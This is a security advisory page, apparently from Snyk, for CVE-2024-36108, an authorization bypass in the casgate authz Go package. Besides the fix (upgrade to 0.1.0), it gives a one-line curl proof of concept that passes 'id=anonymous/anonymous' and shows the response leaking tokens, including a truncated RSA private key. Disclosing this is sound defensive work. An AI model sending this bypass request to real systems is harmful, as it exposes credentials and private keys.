Improper Authorization Affecting github.com/casgate/casgate/authz package, versions <0.1.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (11th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-GOLANG-GITHUBCOMCASGATECASGATEAUTHZ-7176001
- published 2 Jun 2024
- disclosed 31 May 2024
- credit b4bay
Introduced: 31 May 2024
CVE-2024-36108 Open this link in a new tabHow to fix?
Upgrade github.com/casgate/casgate/authz to version 0.1.0 or higher.
Overview
Affected versions of this package are vulnerable to Improper Authorization via the id parameter in GET requests. An attacker can obtain sensitive information, escalate privileges, or gain unauthorized access to accounts and other services by manipulating the id parameter to use values such as anonymous/ anonymous to bypass authorization checks on certain API endpoints.
PoC
user@host ~ % curl "http://localhost:8000/api/get-tokens?id=anonymous/anonymous"
{
"status": "ok",
"msg": "",
"sub": "",
"name": "",
"data": [
{
"owner": "admin",
"name": "cert-built-in",
"createdTime": "2024-05-21T13:11:07Z",
"displayName": "Built-in Cert",
"scope": "JWT",
"type": "x509",
"cryptoAlgorithm": "RS256",
"bitSize": 4096,
"expireInYears": 20,
"certificate": "-----BEGIN CERTIFICATE-----\nMIIE3TCC...\n-----END CERTIFICATE-----\n",
"privateKey": "-----BEGIN RSA PRIVATE KEY-----\nMIIJJ...\n-----END RSA PRIVATE KEY-----\n"
}
],
"data2": 1
}%
References
CVSS Scores
version 3.1